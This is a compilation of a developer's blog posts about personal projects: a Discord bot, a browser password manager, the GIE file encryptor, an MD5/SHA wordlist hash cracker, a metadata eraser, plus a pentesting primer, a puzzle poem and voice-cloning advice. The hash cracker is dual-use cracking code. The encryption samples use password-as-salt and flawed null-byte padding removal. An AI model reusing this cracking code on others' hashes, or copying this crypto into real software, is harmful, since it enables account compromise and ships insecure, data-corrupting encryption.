        await member.send(`<a:1302moderatorprogramsalumnia:1287542225399709737> You have received a warning on the server ${context.guild.name} by ${context.user.tag}. Reason: ${reason}`);
      } catch (error) {
        console.log(`[LOG] Could not send a direct message to ${member.user.tag}.`);
      }

      // Register warning in MegaDB
      if (!await warnDB.has(`warnings.${member.id}`)) {
        await warnDB.set(`warnings.${member.id}`, []);
      }
      await warnDB.push(`warnings.${member.id}`, { 
        reason: reason, 
        moderator: context.user.tag, 
        timestamp: new Date().toISOString() 
      });

      // Create embed to notify the channel
      const warnEmbed = new EmbedBuilder()
        .setColor(0xffff00) // Yellow
        .setTitle('<a:1302moderatorprogramsalumnia:1287542225399709737> **WARNING**')
        .setDescription(`${member.user.tag} has received a warning.`)
        .addFields(
          { name: '<a:9755discordstaffanimated:1287542237571321896> Moderator', value: `${context.user.tag}`, inline: true },
          { name: '<:discordcopyid:1287542182080679997> Member', value: `${member.user.tag}`, inline: true },
          { name: '<:discordeditprofile:1287542190926467094> Reason', value: reason, inline: false }
        )
        .setThumbnail(member.user.displayAvatarURL())
        .setTimestamp()
        .setFooter({ text: 'Warning registered', iconURL: context.user.displayAvatarURL() });

      // Send the embed as a response
      await context.reply({ embeds: [warnEmbed] });

      // Log in console
      console.log(`[LOG] ${context.user.tag} has warned ${member.user.tag} in ${context.guild.name}`);
    } catch (error) {
      console.error(error);
      context.reply({ content: 'There was an error warning this member.', ephemeral: true });
    }
  },
};
```

The most complex part or module is index.js, but since it is very long I am not going to put it, I recommend checking the project's github.

But in summary I revived the project, if I abandon it again it is because I got bored hahaha, so now it has more commands and has a save function, oh, I hosted it on an intel celeron with little ram, likewise in another blog I will give the characteristics of the NAS and the PC.

---

## 🤝 Contributing

Contributions, issues and feature requests are welcome! Feel free to check issues page.

1. **Fork the Repository**: Create a copy of the repository in your GitHub account.
2. **Create a Branch**:

    ```bash
    git checkout -b your-branch-name
    ```

3. **Make your Changes**: Make the modifications you want to add.
4. **Commit and Push**:

    ```bash
    git add .
    git commit -m "Description of the changes"
    git push origin your-branch-name
    ```

5. **Create a Pull Request**: Open a Pull Request from your branch to the main branch of the repository.

### ❤️ Show your support

Give a ⭐️ if this _project helped you!_

### 💜 License

Copyright © 2024 [aiskoa](https://aiskoa.vercel.app). This project is [AGPL](/LICENSE) licensed.

Cler Discord Bot Version 4.7


![imageTitle](https://i.ibb.co/ygJ41Xk/passpaititle.jpg)

# PassPai

## Secure Password Manager

**PassPai** is an open-source password generation and management tool that allows the generation of secure passwords thanks to AES-256 encryption.

![PassPai1](https://i.ibb.co/Q9w0D1t/1.png)

![PassPai2](https://i.ibb.co/gRBFQ3v/passpaiim2.png)

## Website

### [➡️ Go to PassPai](https://aiskoa.github.io/PassPai/)

## [Code](https://github.com/aiskoa/PassPai)

## Features

* 🔵 **Password Generation**: Create secure passwords for different social networks. 😄
* 🔵 **Password Management**: Save and view passwords for various accounts.
* 🔵 **Adaptive Interface**: Switch between a light and dark theme. 🌸
* 🔵 **Modern Design**: Clean interface with a subtle background and attractive visual effects. 🌸
* 🔵 **File Download**: Possibility to download generated files locally.
* 🔵 **File Upload**: Thanks to this, you will be able to securely upload files and view your passwords.
* 🔵 **Cloud Security**: You will be able to access your passwords securely **without the need to download additional programs**. ☁️
* 🔵 **Military-Grade Security**: **AES-256** encryption protects your passwords against attacks or theft. 🔒
* 🔵 **Master Password Usage**: You only need to remember one password to access the others. 🔑

## 💻 Installation

To install and run KeyForge locally, follow these steps:

1. **Clone the repository**:

    ```bash
    git clone https://github.com/aiskoa/PassPai.git
    ```

2. **Open the project in your browser**:

    Open the `index.html` file in your browser to see the application in action.

## 🎴 Usage

1. **Generate Passwords**: Go to the "Generate" tab and click "Generate" to create a new password.
2. **Manage Passwords**: In the "Manage" tab, you can view and copy saved passwords for different social networks.

## 🔒 Master Password Configuration

* **Download Passwords**: When downloading the file with the passwords, you will be asked to assign a master password. Once created, a file called **mypasswords** (*you can change the file name as you wish*) with the **.pai** extension will be downloaded.
* **Upload Passwords**: If you want to consult your passwords, you must upload your file with the **.pai** extension and enter your master password (*without it, the file will not load and you will have to try again*).

---

### SAVE PASSWORDS FUNCTION

```javascript

  function savePasswordsToFile() {
    promptForMasterPassword((password) => {
      generateEncryptionKey(password).then(key => {
        encryptionKey = key;
        iv = crypto.getRandomValues(new Uint8Array(12)); // IV must be unique for each encryption

        const passwordEntries = Object.entries(passwords);
        if (passwordEntries.length === 0) {
          alert("No passwords saved to download.");
          return;
        }

        let passwordText = "Social Network - Password\n";
        // The last part is useless but it's still there
        passwordEntries.forEach(([network, password]) => {
          passwordText += `${network}: ${password}\n`;
        });

        return crypto.subtle.encrypt(
          {
            name: "AES-GCM",
            iv: iv
          },
          encryptionKey,
          new TextEncoder().encode(passwordText)
        ).then(encryptedText => {
          const blob = new Blob([iv, new Uint8Array(encryptedText)], { type: "application/octet-stream" });
          const url = URL.createObjectURL(blob);
          const a = document.createElement("a");
          a.href = url;
          a.download = "mypasswords.pai";
          // the file extension is PAI for convenience
          document.body.appendChild(a);
          a.click();
          document.body.removeChild(a);
        });
      });
    });
  }
```

> AES in GCM mode and PBKDF2 with SHA-256 are being used

* 🔵 AES-GCM not only encrypts data to keep it confidential, but also includes a mechanism to verify the integrity and authenticity of encrypted data.
* 🔵 Performance: It is known for its efficiency and performance, which makes it suitable for applications that require high encryption and decryption speed.
* 🔵 Common Use: It is widely adopted in security protocols such as TLS (Transport Layer Security) and in applications that require secure and fast encryption.

* 🔵 PBKDF2 is a cryptographic function used to derive secure keys from passwords.
* 🔵 Resistant to brute force attacks and dictionary attacks.
* 🔵 “Key stretching” and significantly increases the time required to crack a password.
* 🔵 Salt: A random value that is added to the password to ensure that identical passwords do not generate the same derived key.
* 🔵 Iterations: The number of times the derivation process is repeated. A higher number of iterations increases security.

**generateEncryptionKey(password)**:

```nx
 Generates an encryption key from a password using PBKDF2 with SHA-256. The salt used is the password itself, which is not a recommended practice for security reasons, but is done here for simplicity.
```

**savePasswordsToFile()**:

```nx
 Saves passwords to an encrypted file. First, it prompts for a master password, generates an encryption key with it, and then encrypts the passwords stored in an object. The resulting file is downloaded with the .pai extension.
```

| Name | Description |
| --|--|
|Security | Using the password as salt is not secure (This will be changed later). It is better to use a random salt. |
| Initialization vector | A unique IV is generated for each encryption, which is correct. |
| Encryption | Uses AES-GCM, which is a secure and modern encryption mode. |
| AES-GCM | Advanced Encryption Standard - Galois/Counter Mode (Symmetric)|
| PBKDF2 |  Password-Based Key Derivation Function 2 |

---

### 🤝 Contributing

Contributions, issues and feature requests are welcome! Feel free to check issues page.

### 💜 Show your support

Give a ⭐️ if this *project helped you!*

### 📝 License

Copyright © 2024 [aiskoa](https://aiskoa.vercel.app). This project is [MIT](/LICENSE) licensed.

---

PassPai Local Password Manager


![imageTitle](https://raw.githubusercontent.com/aiskoa/GIE-UI/main/img/title.png)

# GIE-UI

## GIE now with User Interface || Encrypt and Decrypt Files

An Encrypt and Decrypt your files using AES, easily and folders, and send it secure, written in Python with UI.

![Screenshott](https://i.imgur.com/NC2A0HT.jpeg)

### Features

Encrypt and decrypt your files and folders with AES, for any file, jpg, png, mp4, mp3, docx, pdf, etc... 

### Why GIE?

GIE is the name of my first girldfriend (JK 😂), GIE is the acronym of **G**entle, **I**ntelligent and **E**asy file encryption.

## 📦 Requirements

- **[Python](https://www.python.org/downloads/)**, should be installed on your system (not required).

### 🦠 Antivirus advertisement

GIE has the ability to encrypt vital paths and files on your system, so it is considered a risk by the operating system. If you still decide to use it, you should create an exception to the GIE program.

[Virustotal scan](https://www.virustotal.com/gui/file/49a6c879bb46ad0f357a545f6f6577bb418c7f210cac60556f45051a9473851b/detection)

[Triage](https://tria.ge/240428-bnst8acg68)

## 💻 Installation

Execute the commands according to your case

Run the project

```batch
python main.py
```

Excecute **GIE.exe** file.
*(GIE portable version is avaliable)*

---

## For Encrypt

To **Encrypt** a folder or file

For folders (_you must type the path as it appears in your file browser_)

![PATH](https://i.imgur.com/Lah8Ri8.png)

For only files (_one or more files_)

Only select the files to encrypt.

supports = jpg, png, mp3, mp4, docx, xlsx, sql, py, zip, etc...

**Enter a password:**

**IMPORTANT**

> The password cannot contain the characters $ or "" and ''
> The password will not be visible while you type it.

When you click the Encrypt button, the operation will begin., it will start encrypting the files with the extension **".gie"** and will generate a **".GKY"** file, which is very important to decrypt your original file.

*"GKY" is the extension of the file containing the key for decryption, along with the password provided.*

! *If you want to share the file with your colleague, you will need to provide him/her with three files, the .gie, the .GKY and the password.*

**EXAMPLE**

![FileEn](https://i.imgur.com/pGLWaxL.jpeg)


## For Decrypt

To **Decrypt** a folder or file

**IMPORTANT**  
> The password must be the same as the one used to encrypt the file, otherwise you will lose your file forever.

The program will search if the .GKY file exists in the path provided and will try to decrypt the file with the password, if the password does not match the file will not decrypt or will decrypt corruptly, if the GKY does not exist, the program will throw an error message and will not be able to decrypt.

It is very important to save the .GKY and the PASSWORD very well.

---

### ENCRYPT FUNCTION

```python
def encrypt_file(input_file: str, password: str):
    password_bytes = password.encode()  
    # Convert password to bytes

    key_with_salt = generate_key(input_file, password_bytes)  # Generate the key using bytes
    if key_with_salt is None:
        print(Fore.RED + "The key could not be generated." + Style.RESET_ALL)
        return

    key = key_with_salt[16:]  # Getting the key without the salt

    iv = os.urandom(16)

    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    encryptor = cipher.encryptor()

    with open(input_file, "rb") as file_in:
        data = file_in.read()

    padded_data = data + b'\x00' * (-len(data) % 16)
    encrypted_data = encryptor.update(padded_data) + encryptor.finalize()

    output_file = input_file + ".gie"
    with open(output_file, "wb") as file_out:
        file_out.write(iv)
        file_out.write(encrypted_data)

    print(Fore.LIGHTMAGENTA_EX + f"ENCRYPTED file saved as: {output_file}" + Style.RESET_ALL)
    os.remove(input_file)
```

### DECRYPT FUNCTION

```python
def decrypt_file(input_file: str, password: bytes):
    base_file = os.path.splitext(os.path.basename(input_file))[0]  # Remove all extensions
    while "." in base_file:
        base_file = os.path.splitext(base_file)[0]  # Remove all extensions
    # Add the .key extension to the base file name
    key_file = os.path.join(os.path.dirname(input_file), base_file + ".GKY")
    key_file = os.path.normpath(key_file)  # Normalize the path

    print(f"Searching for the key file: {key_file}")  # Print the name of the key file we are looking for
    if os.path.exists(key_file):
        with open(key_file, "rb") as f:
            key_with_salt = f.read()
            salt = key_with_salt[:16]  # Get the stored salt
            derived_key = hashlib.pbkdf2_hmac('sha256', password, salt, 100000, 32)
```

> .GKY using for decrypt the file coz it is the passkey, .GKY extension name is not enable to change.

```python
        with open(input_file, "rb") as file_in:
            iv = file_in.read(16)
            encrypted_data = file_in.read()

        cipher = Cipher(algorithms.AES(derived_key), modes.CBC(iv), backend=default_backend())
        decryptor = cipher.decryptor()

        decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
        unpadded_data = decrypted_data.rstrip(b'\\x00')

        output_file = os.path.splitext(input_file)[0]
        with open(output_file, "wb") as file_out:
            file_out.write(unpadded_data)

        print(Fore.LIGHTCYAN_EX + f"UNENCRIPTED file saved as: {output_file}" + Style.RESET_ALL)
        os.remove(input_file)
```

```python
        # Delete the key file after successful decryption
        os.remove(key_file)
    else:
        print(Fore.LIGHTRED_EX + "Key not found." + Style.RESET_ALL)
```

> If the GKY file is not removed after the decryption, it is possible to make trash on your system or even issues with other encrypted files.

---

### [⬇️ Download ⬇️](https://aiskoa.github.io/scripts/GIE/)

### 🤝 Contributing

Contributions, issues and feature requests are welcome! Feel free to check issues page.

### 💜 Show your support

Give a ⭐️ if this _project helped you!_ 

### 📝 License

Copyright © 2024 [aiskoa](https://aiskoa.vercel.app). This project is [MIT](/LICENSE) licensed.

---


GIE-UI Encrypt and Decrypt files


![imageTitle](https://raw.githubusercontent.com/aiskoa/GIE/main/title.jpg)

[![Static Badge](https://img.shields.io/badge/%20build-MIT-brightgreen?logo=github&label=LICENSE)](https://github.com/aiskoa/GIE/LICENSE)
![Static Badge](https://img.shields.io/badge/APRIL%202024-red?label=RELEASE%20DATE)
![Static Badge](https://img.shields.io/badge/LANGUAGE-Python-yellow?logo=python)

# GIE

## Encrypt and Decrypt

An Encrypt and Decrypt for files and folders for Windows, written in Python using AES.

> [!CAUTION]
> Disclaimer: This tool was created for educational purposes only. I do not take any responsibility for the misuse of this tool.

![aCreator](https://i.ibb.co/q92xdX2/gie-terminal.gif)

## Version

**GIE V3.0**

### Features

Encrypt and decrypt your files and folders with AES, for any file, jpg, png, mp4, mp3, docx, pdf, etc...

**IMPORTANT TO READ ALL**

## 📦 Requirements

**[Python3](https://www.python.org/downloads/)**

**[Colorama](https://pypi.org/project/colorama/)**

**Subprocess**

**Hashlib**

**Cryptography**

## 💻 Installation

Execute the commands according to your case (Win or Linux)

`pyhon` for windows

Clone or Download this Repository

```batch
git clone git@github.com:aiskoa/GIE.git
```

Change Directory

```batch
cd GIE
```

Run the setup.py file

```batch
python setup.py
```

OR install the dependencies manually

Run the project

```batch
python gie.py -h
```

---

## For Encrypt

Run `-h` for print the help/usage

```batch
python gie.py -h
```

To **Encrypt** a folder or file

* ! The path must be enclosed in quotes " "

For folders

```batch
python gie.py "C:\YOUR\FOLDER"
```

For only files

```batch
python gie.py "C:\YOUR\FILES.extension"
```

extension = jpg, png, mp3, mp4, docx, etc, etc...

* ! A message will appear that says: "Enter a password:"

! NOTE: **The password cannot contain the characters $ and "**

Example Output:
`python gie.py "D:\Sam\Plugins\IP.exe"`
`Enter a password:`

Note: The password will not be visible while you type it

Once the password is entered, it will start encrypting the files with the extension **".gie"** and will generate a **".GKY"** file, which is very important to decrypt your original file.

*"GKY" is the extension of the file containing the key for decryption, along with the password provided.*

! *If you want to share the file with your colleague, you will need to provide him/her with three files, the .gie, the .GKY and the password.*

## For Decrypt

To **Decrypt** a folder or file

* ! The path and password must be enclosed in quotes " "

Run `-d` for decrypt
Run `-p` for set the password used previously

For folders

```batch
python gie.py -p "PASSWORD" -d "C:\YOUR\FOLDER"
```

For only files

```batch
python gie.py -p "PASSWORD" -d "C:\YOUR\FILES.extension.gie"
```

---

Example Output:
`python gie.py -p "L1ñy*8Cv" -d "D:\Sam\Plugins\IP.exe"`

The program will search if the .GKY file exists in the path provided and will try to decrypt the file with the password, if the password does not match the file will not decrypt or will decrypt corruptly, if the GKY does not exist, the program will throw an error message and will not be able to decrypt.

It is very important to save the .GKY and the PASSWORD very well.

---

### Encrypt function

```python
def encrypt_file(input_file: str, password: str):
    password_bytes = password.encode()  # Convertir la contraseña a bytes
    key_with_salt = generate_key(input_file, password_bytes)  # Generar la clave utilizando bytes
    if key_with_salt is None:
        print(Fore.RED + "No se pudo generar la clave." + Style.RESET_ALL)
        return

    key = key_with_salt[16:]  # Obtener la clave sin la sal

    iv = os.urandom(16)

    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    encryptor = cipher.encryptor()

    with open(input_file, "rb") as file_in:
        data = file_in.read()

    padded_data = data + b'\x00' * (-len(data) % 16)
    encrypted_data = encryptor.update(padded_data) + encryptor.finalize()

    output_file = input_file + ".gie"
    with open(output_file, "wb") as file_out:
        file_out.write(iv)
        file_out.write(encrypted_data)

    print(Fore.LIGHTMAGENTA_EX + f"Archivo ENCRIPTADO guardado como: {output_file}" + Style.RESET_ALL)
    os.remove(input_file)
```

### Decrypt function

```python
def decrypt_file(input_file: str, password: bytes):
    base_file = os.path.splitext(os.path.basename(input_file))[0]  # Remove all extensions
    while "." in base_file:
        base_file = os.path.splitext(base_file)[0]  # Remove all extensions
        # Add the .key extension to the base file name
    key_file = os.path.join(os.path.dirname(input_file), base_file + ".GKY")
    print(f"Buscando el archivo de la clave: {key_file}")  # Print the name of the key file we are looking for
    if os.path.exists(key_file):
        with open(key_file, "rb") as f:
            key_with_salt = f.read()
            salt = key_with_salt[:16]  # Get the stored salt
            derived_key = hashlib.pbkdf2_hmac('sha256', password, salt, 100000, 32)
            # print("La clave se recuperó con éxito.")
            # print(f"Longitud de la clave: {len(derived_key)}")
            # print(f"Longitud del salt: {len(salt)}")

        with open(input_file, "rb") as file_in:
            iv = file_in.read(16)
            encrypted_data = file_in.read()

        cipher = Cipher(algorithms.AES(derived_key), modes.CBC(iv), backend=default_backend())
        decryptor = cipher.decryptor()

        decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
        unpadded_data = decrypted_data.rstrip(b'\\x00')

        output_file = os.path.splitext(input_file)[0]
        with open(output_file, "wb") as file_out:
            file_out.write(unpadded_data)

        print(Fore.LIGHTCYAN_EX + f"Archivo DESENCRIPTADO guardado como: {output_file}" + Style.RESET_ALL)
        os.remove(input_file)

        # Delete the key file after successful decryption
        os.remove(key_file)
        # print(f"Archivo de la clave {key_file} eliminado con éxito.")

    else:
        print(Fore.LIGHTRED_EX + "No se encontró la clave." + Style.RESET_ALL)

```

---

### TODO List

* [ ] Password check

* [x] AES

* [ ] UI Menu

### 🤝 Contributing

Contributions, issues and feature requests are welcome! Feel free to check issues page.

### ❤️ Show your support

Give a ⭐️ if this project helped you!

### 📝 License

Copyright © 2024 [aiskoa](https://aiskoa.vercel.app). This project is [MIT](/LICENSE) licensed.



![Anayansi](https://raw.githubusercontent.com/aiskoa/Anayansi/main/assets/title.jpg)

[![Static Badge](https://img.shields.io/badge/%20build-MIT-brightgreen?logo=github&label=LICENSE)](https://github.com/aiskoa/Anayansi/LICENSE)
![Static Badge](https://img.shields.io/badge/MARCH%202024-red?label=RELEASE%20DATE)
![Static Badge](https://img.shields.io/badge/LANGUAGE-Python-yellow?logo=python)

# Anayansi

Anayansi is a script for crack or create a hash written in python, multiplatform for windows and linux.

### Creator Hash

![aCreator](https://raw.githubusercontent.com/aiskoa/Anayansi/main/assets/anayansi_creator.gif)

&nbsp;

### Cracker Hash

![aCracker](https://raw.githubusercontent.com/aiskoa/Anayansi/main/assets/anayansi_cracker.gif)

## Supported Hash Formats

* **MD5**
* **SHA1**
* **SHA256**
* **SHA384**
* **SHA512**

## 💻 Installation

Execute the commands according to your case (Win or Linux)

**pyhon** for windows **python3** for Linux

Clone or Download this Repository

```bash
git clone https://github.com/aiskoa/Anayansi.git
```

Update Repositories

```bash
sudo apt update
```

Change Directory

```bash
cd Anayansi
```

Run the setup.py file

```bash
python3 setup.py
```

OR install the dependencies manually

```bash
pip install -r requirements.txt
```

Run the project

```bash
python3 anayansi.py
```

Or for windows

```bash
python anayansi.py
```

### MD5 Cracker function

```python
def md5():
    """ MD5 is for Decrypting Raw MD5 Hash"""
    hash = input(
        Fore.GREEN + " [" + Fore.RED + 'x' + Fore.GREEN + "]" + Style.RESET_ALL + " Enter the Hash : " + Fore.GREEN)
    w_list = input(
        Fore.GREEN + " [" + Fore.RED + 'x' + Fore.GREEN + "]" + Style.RESET_ALL + " Input Full Path of Wordlist : " + Fore.GREEN)
    print(Style.RESET_ALL)
    pass_file = open(w_list, "r")

    for i in pass_file:
        file_enc = i.encode('utf-8')
        md_hash = hashlib.md5(file_enc.strip()).hexdigest()

        if md_hash == hash:
            print(Fore.GREEN + " Password Found :", i + Style.RESET_ALL)
            break
        else:
            print(Fore.RED + " Password Not Found !!!" + Style.RESET_ALL)
```

&nbsp;

### What is Wordlist?

A "Wordlist" is a list of words or characters listed in a text file, an example of which is "rockyou.txt", and others.
I will not provide the Wordlist mentioned, but searching for it is not complicated.

&nbsp;

### MD5 Create function

```python
def md5():
    text = input(Fore.GREEN + " [" + Fore.RED + 'x' + Fore.GREEN + "]" + Style.RESET_ALL + " Enter String : " + Fore.GREEN + Style.RESET_ALL)
    md5 = hashlib.md5(text.encode('utf8').strip()).hexdigest()
    print(f"\n MD5 Hash : {Fore.GREEN}{md5}{Style.RESET_ALL}\n")
```

&nbsp;

### ✅ ⬇ Download ⬇

Available for Mac, Linux and Windows 10 / 11.

[Download](https://github.com/aiskoa/Anayansi)

&nbsp;

### 📝 License

Copyright © 2024 [Aiskoa](https://aiskoa.vercel.app). This project is [MIT](https://github.com/aiskoa/Anayansi/blob/main/LICENSE) licensed.


Anayansi cracker and create hashes


# Metacrawler 2

New version of Metacrawler, erases metadata from any file format, even creating a copy of it, now written in Javascript, using Electron.

## Here is Metacrawler 2

![IMG](https://i.ibb.co/kqjLPSd/metacrawlerr.png)

## How to run

Download or clone the project.

To start run the command.

`npm install`

then

`npm run start`

&nbsp;

## Code example (Remove Metadata Function)

```javascript
document.getElementById('fileInput').addEventListener('change', (event) => {
    filePath = event.target.files[0].path;
    removeMetadata(filePath);
});

function removeMetadata(filePath) {
    const originalFilePath = filePath + '_original';

    exiftool
        .write(filePath, { all: '' })
        .then(() => {
          Swal.fire({
            position: "top-end",
            icon: "success",
            title: "¡Metadatos eliminados!",
            showConfirmButton: false,
            timer: 1500
          });
            ipcRenderer.send('download-file', filePath);

            fs.unlink(originalFilePath, err => {
                if (err) {
                    console.error(err);
                }
            });
        })
        .catch(err => console.error(err));
}

document.getElementById('downloadButton').addEventListener('click', () => {
    ipcRenderer.send('download-file', filePath);
});
```

> Download or Clone the project in Github.
[Download from Github](https://github.com/aiskoa/metacrawler)

### License

MIT

&nbsp;

- 💜 Acceso al [--> Blog](https://aiskoa.vercel.app/es/blog/)

Metacrawler Metadata Eraser


# Cybersecurity Fundamentals (Part 2).

&nbsp;

> *Difficulty Level: ⭐*

I recommend you go to the Cheatsheet for a more dynamic and fun version of learning these terms.
[Click to find the Complete Cheatsheet](https://aiskoa.gitbook.io/glosario-de-hacking-ciberseguridad-y-redes/)

&nbsp;

**ISO/IEC 27032:2021**: Guidelines for improving the state of cybersecurity, highlighting the unique aspects of that activity and its dependencies on other security domains, in particular.

> Specialists are needed, if there is a problem with any member, things get complicated.

A framework is a framework of how to do things and a regulation is how to do it.

---

**What is Ethical Hacking?**: Ethical hacking is an important practice to improve the computer security of organizations, as it allows identifying and remedying vulnerabilities in a legal and ethical manner, it simulates the behavior of a real attack, with the purpose of compromising the organization to later perform a penetration test report and intrusion tests.

&nbsp;

**What is Vulnerability Analysis?**: Vulnerability Analysis: This practice involves the use of automated tools and methods to scan systems, networks, and applications for security flaws that have already been documented. The main objective is not to simulate a real attack, but to carry out an exhaustive inventory of existing weaknesses based on known vulnerability databases.

---

**What are intrusion tests?**: Intrusion tests are a security practice that consists of a set of techniques that allow evaluating the level of technological security of an organization or service provided.

&nbsp;

> *"A security test with an objective ends when that objective is obtained or when the time available to carry it out runs out", (OSSTMM - Open Source Security Testing Methodology Manual).*

&nbsp;

> *"Security test where evaluators copy real attacks to subvert the security functions of an application", (NIST - National Institute of Standards and Technology).*

&nbsp;

**Why is Pentesting important?**: They are an essential tool to improve computer security and protect confidential information. Some of the reasons why pentesting is important are:

- 🖊️ Identify vulnerabilities in the system
- 🖊️ Data protection
- 🖊️ Audit tools
- 🖊️ Regulatory compliance
- 🖊️ Risk reduction

---

## Types of intrusion tests

### Black Box:

It consists of obtaining the greatest possible amount of information because there is NO prior knowledge or information about the system or network to be analyzed. *It is the perfect simulation of an attack by an author who does not know the company*.

**ADVANTAGES**: More realistic in terms of a real attack. Quick to execute.

**DISADVANTAGES**: May not identify all internal vulnerabilities. Less detailed.

&nbsp;

### Gray Box:

It consists of the consultant having PARTIAL knowledge of the system or network they are testing and generally has credentials to access the target network or applications. *It is the perfect simulation of an end user trying to compromise the system without having full knowledge of it*.

**ADVANTAGES**: Balances realism and depth of analysis. More flexible in terms of approach.

**DISADVANTAGES**: May not be as exhaustive as white box pentesting or as realistic as black box pentesting.

&nbsp;

### White Box:

It consists of the consultant having COMPLETE knowledge of the system or network they are testing. *This allows for a complete and rigorous evaluation that results in a more effective penetration test*.

**ADVANTAGES**: Allows for an exhaustive and detailed review. Identifies deeper vulnerabilities.

**DISADVANTAGES**: Less realistic from the point of view of an external attacker. Requires more time and resources.

&nbsp;

![Caja NGB](https://pbs.twimg.com/media/E2Qatt0XIAc7LJM.jpg)

&nbsp;

**TYPES OF REPORTS**

- 📕 Report for *VULNERABILITY ANALYSIS*: Comprehensive technical report listing all identified vulnerabilities, ranking of vulnerabilities by risk, and recommended remediation tasks.

- 📕 Report for *PENTESTING*: Technical and executive report of the vulnerabilities, including attack vectors and successful attacks, ranking of vulnerabilities by risk, and recommended remediation tasks.

- 📕 Report for *ETHICAL HACKING*: Technical and executive report of the attack vectors used in the organization, social engineering tests, level of employee awareness, and reports of security infrastructure weaknesses. Level of business impact, successful attack vectors, and information exfiltrated during the audit, level of access obtained. Enumeration of highest risk and remediation tasks by priority.

&nbsp;

- 💜 Access to the [--> Blog](https://aiskoa.vercel.app/es/blog/)

### Thanks for reading part 2

&nbsp;

### Sources

- 🔖 [Pentesting, what it is and what it is for By Josué López 07/03/2024](https://auditech.es/blog/pentesting-que-es-y-para-que-sirve/)
- 🔖 [Gray Box Pentesting by DragonJAR](https://www.dragonjar.org/pentesting-de-caja-gris.xhtml)
- 🔖 *Pentesting playground 101*

Cybersecurity Fundamentals 2


# Hi there! 👋, this is the first publish as a life blog

&nbsp;

How many times have you heard of me, how many times have you heard the voice in your head, I am here, the sour sound to hurt your ears, to touch the front of your head, the one that makes you ache every morning when you wake up, that annoying noise you hear every day, the one that will kiss you goodbye on the day of your death.

I would like to write mathematical poetry. 💁

&nbsp;

From the sequence:

> 5, 7, 9, 12, 18

Find the sequence after n + 5:

```nx
0, 0, 0, 0, 0, 1, 1, 1, 3, 4, 5, 7, 9, 12, 18, 22, 25, 36, 46, 48, 62, 76, 88, 107, 126, 142, 179, 198, 216, 257, 304, 329, 382, 431, 483, 547, 601, 643, 764, 838, 889

```

&nbsp;

Exactly, you only need the answer once, just like you only need to hear that notification once, you live with the constant fear of danger, the constant fear of being left with nothing but me, you are afraid of being part of me, of my eternal embrace, you dread hearing my requiem and being lost in it like a bullet in civil war, you dream of me daily and remember my words as those of a father.
\
You overthink things, over and over again, until you fall under the weight of that mistake made by thinking too much, you want to hear something more than my singing, but there are only small fragments of audio lost in space trying to fit together to form a message, a message that will remain incomplete because of me, the one that takes all your attention, the one that takes all your energy, focus, precision and courage.

---

```nx
¿Porqué te escucho?

```

> Because part of you needs me.

&nbsp;

```nx
¿Existes o solo estoy loco?

```

> I don't believe in madness, only in the characters of a poorly told story.

&nbsp;

```nx
¿Cuándo dejaré de escucharte?

```

> When the time decides for you, when the time decides for me, when only be you.

&nbsp;

```nx
¿Estaré bien al dejarte?

```

> Just like letting hope die, I will only be part of your story, be'r part of memories and how you have grown stronger so far.

&nbsp;

```nx
¿Y que haré si te necesito, dondé te encontraré nuevamente?

```

> You will find me by reading the beginning of Charles Perrault's "Sleeping Beauty".

&nbsp;

```nx
¿Cómo se que estarás ahí, estarás feliz de verme un vez más?

```

> I will perch under the leaves of a big tree, and I will look into your eyes and say with my mouth only three words, "Siempre estuve aqui".

&nbsp;

```nx
¿Qué pasará si me olvido?

```

> The time will come when everything will make sense, when everything will be silent and there will be no time to listen to me in the same way, my voice will be overshadowed by many other voices and sounds, your mind will be so busy, that when you will hear me in the distance, you will be so happy to hear an old friendship.

&nbsp;

```nx
¿Y si muero sin poder encontrarte, estará bien dejarté?

```

> When the time comes to leave, I will go with you, you will take me by the hand and we will walk together a great green path full of life, with big trees and we will only contemplate the beautiful sky.

&nbsp;

> 13, 2, 18, 6, 17, 12, 20

Me levante y tome un **JUGO** de naranja frio, posteriormente avance **pasos como un inglés, me quede ahi usando aquella cosa, después me canse y camine** pasos, para ver la tv, me dormí y decidi pararme a viajar **pasos hasta caer cansado, entonces me fui a mi cama comoda fabricada en **PRADA**, al dia siguiente me levante temprano contando** pasos hasta llegar al baño, me quede solo **minutos por distraido al ver tiktok, despues sali a dar un paseo, eran** pasos hasta llegar a la tienda donde decidí comprar un helado de __ pesos, barato me salio el coso, mas barato que mi **AUTO**, felizmente me sente en una banca blanca.

RESULT= J

![ABC](https://i.ytimg.com/vi/kqivBi96npQ/maxresdefault.jpg)

&nbsp;

> X = Mathematical operation that consists of reducing or separating something from a whole.
> Y = 62 / 62
> G =

&nbsp;

**Ha{Y}nLkJFy{G}x9PKAv{X}swED4wt{Y}ELgTEp{RESULT}**

&nbsp;

### [IS THIS PINK?](https://mega.nz/file/JjFASRTB)


Thoughts in Pink


# Defending Yourself from AI

&nbsp;

## Disclaimer

I must clarify that these recommendations are for 2024-2026 at the latest. After that time, I have no idea what might happen with the evolution of technology. I also need to make it clear that many of the things I will show are **theoretical** and should not be taken as gospel, as they won't be of much help on their own.

&nbsp;

**! At the end of the article, I will detail sources for consultation, as well as the terms used, and this is only the first part.**

&nbsp;

*Let's begin* :)
I will address certain problems with possible solutions point by point.

---

*   **How do I prevent my voice from being cloned?**
    Answer = Avoid long meetings of more than 3 hours (I know this is bad advice, but let me explain what you can do in this case).

    Cloning a voice requires extensive training to be refined and identical, so it requires a large dataset. While there are already models that need only a minute of dataset, they require significant computing power, which is not cheap.

&nbsp;

*   🔹 When you speak, create pauses, relax, think things through. This creates silent spaces that the cloner will have to cut, which makes the task a bit more difficult.

*   🔹 Use slang, create an identity for yourself. We all have a character when we speak. You might be known for speaking fast or using complicated terms or words. Even your accent might be quite particular. Therefore, when your voice is cloned, it won't copy the way you say things (we know there are things you would never say or wouldn't say in that way), creating an identity or even imitating an accent makes it difficult to be cloned.

*   🔹 Use connectors, filler words, background noise, or stumbles. Speaking with pauses or making mistakes dirties the samples and therefore the dataset. A sample with voice cuts, background noise, or poor expression means it has to be re-recorded. Think of it like when an artist makes a mistake in the studio; the artist has to sing again because the last take wasn't good. Thanks to this, re-recording is expensive.

*   🔹 Record your conversations. This will give you a safe space regarding what you say versus what you have never said. It should be noted that doing this must be communicated to others or to the person you are conversing with at the moment, as it is not ethical and can even be a crime.

